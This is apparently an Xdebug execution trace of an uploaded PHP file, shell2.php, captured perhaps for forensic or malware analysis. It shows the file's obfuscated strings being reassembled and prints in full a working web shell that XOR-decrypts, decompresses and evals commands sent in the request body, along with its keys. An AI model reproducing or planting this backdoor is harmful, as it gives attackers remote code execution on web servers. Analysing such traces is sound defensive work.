Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-13 00:57:13.998789] 1 0 1 0.000256 393528 1 3 0 0.000342 396688 {main} 1 /var/www/html/uploads/shell2.php 0 0 2 4 0 0.000363 396688 str_replace 0 /var/www/html/uploads/shell2.php 2 3 'DI' '' 'creDIatDIe_DIfuDIDIDInction' 2 4 1 0.000389 396824 2 4 R 'create_function' 1 A /var/www/html/uploads/shell2.php 2 $M = 'create_function' 1 A /var/www/html/uploads/shell2.php 3 $h = 'e6TI4_TIencode(@TIx(@gzTIcTIompress(TI$o),$k));TIpTIrint("$p$TIkh$r$kf");}' 1 A /var/www/html/uploads/shell2.php 4 $Z = '$m)==1) {@ob_startTI();@evaTIl(@gzTIuncoTImpress(@x(@TIbasTIe64TI_decodTI' 1 A /var/www/html/uploads/shell2.php 5 $T = 'h("/$TIkh(.+)$kTIfTI/",@fTIile_TIget_contents(TI"phpTI://iTInTIput")TITI,' 1 A /var/www/html/uploads/shell2.php 6 $f = 'TIrlen($t);$o="";TIfTIor($i=0;$i<$l;TI){forTI($j=0;(TI$TIj<$c&&$iTI<$l);$' 1 A /var/www/html/uploads/shell2.php 7 $w = 'jTI++,$i+TI+){$TIo.=$tTI{$TIi}TI^$k{$j};}}return TI$o;}if (TITI@preg_TImatc' 1 A /var/www/html/uploads/shell2.php 8 $u = '8kTIaf9SjZFWu4TIjTI9vT";functTIion xTI($t,$k){$TIc=strTIlen($k)TI;$lTI=sTIt' 1 A /var/www/html/uploads/shell2.php 9 $A = 'e($m[1])TI,$k)))TI;$o=@obTI_geTIt_contTIents();@ob_enTId_cleaTIn();$r=TI@bas' 1 A /var/www/html/uploads/shell2.php 10 $n = '$k="5eTI93de3e";$TIkTIh="TIfa544e85TIdcd6";$kf=TI"311732TId2TI8f95";$p=TI"' 2 5 0 0.000585 397368 str_replace 0 /var/www/html/uploads/shell2.php 11 3 'TI' '' '$k="5eTI93de3e";$TIkTIh="TIfa544e85TIdcd6";$kf=TI"311732TId2TI8f95";$p=TI"8kTIaf9SjZFWu4TIjTI9vT";functTIion xTI($t,$k){$TIc=strTIlen($k)TI;$lTI=sTItTIrlen($t);$o="";TIfTIor($i=0;$i<$l;TI){forTI($j=0;(TI$TIj<$c&&$iTI<$l);$jTI++,$i+TI+){$TIo.=$tTI{$TIi}TI^$k{$j};}}return TI$o;}if (TITI@preg_TImatch("/$TIkh(.+)$kTIfTI/",@fTIile_TIget_contents(TI"phpTI://iTInTIput")TITI,$m)==1) {@ob_startTI();@evaTIl(@gzTIuncoTImpress(@x(@TIbasTIe64TI_decodTIe($m[1])TI,$k)))TI;$o=@obTI_geTIt_contTIents();@ob_enTId_cleaTIn();$r' 2 5 1 0.000633 397976 2 5 R '$k="5e93de3e";$kh="fa544e85dcd6";$kf="311732d28f95";$p="8kaf9SjZFWu4j9vT";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}' 1 A /var/www/html/uploads/shell2.php 11 $m = '$k="5e93de3e";$kh="fa544e85dcd6";$kf="311732d28f95";$p="8kaf9SjZFWu4j9vT";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}' 2 6 0 0.000711 397240 create_function 0 /var/www/html/uploads/shell2.php 12 2 '' '$k="5e93de3e";$kh="fa544e85dcd6";$kf="311732d28f95";$p="8kaf9SjZFWu4j9vT";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}' 3 7 0 0.000818 405280 {internal eval} 1 /var/www/html/uploads/shell2.php 12 0 3 7 1 0.000837 405280 3 7 R NULL 2 6 1 0.000858 403912 2 6 R '\000lambda_2' 1 A /var/www/html/uploads/shell2.php 12 $i = '\000lambda_2' 2 8 0 0.000896 403848 __lambda_func 1 /var/www/html/uploads/shell2.php 12 0 2 A /var/www/html/uploads/shell2.php(12) : runtime-created function 1 $k = '5e93de3e' 2 A /var/www/html/uploads/shell2.php(12) : runtime-created function 1 $kh = 'fa544e85dcd6' 2 A /var/www/html/uploads/shell2.php(12) : runtime-created function 1 $kf = '311732d28f95' 2 A /var/www/html/uploads/shell2.php(12) : runtime-created function 1 $p = '8kaf9SjZFWu4j9vT' 3 9 0 0.000980 403904 file_get_contents 0 /var/www/html/uploads/shell2.php(12) : runtime-created function 1 1 'php://input' 3 9 1 0.001009 404640 3 9 R '' 3 10 0 0.001028 404624 preg_match 0 /var/www/html/uploads/shell2.php(12) : runtime-created function 1 3 '/fa544e85dcd6(.+)311732d28f95/' '' NULL 3 10 1 0.001100 404784 3 10 R 0 2 8 1 0.001120 404544 1 3 1 0.001137 404544 0.001240 321848 TRACE END [2023-02-13 00:57:13.999825]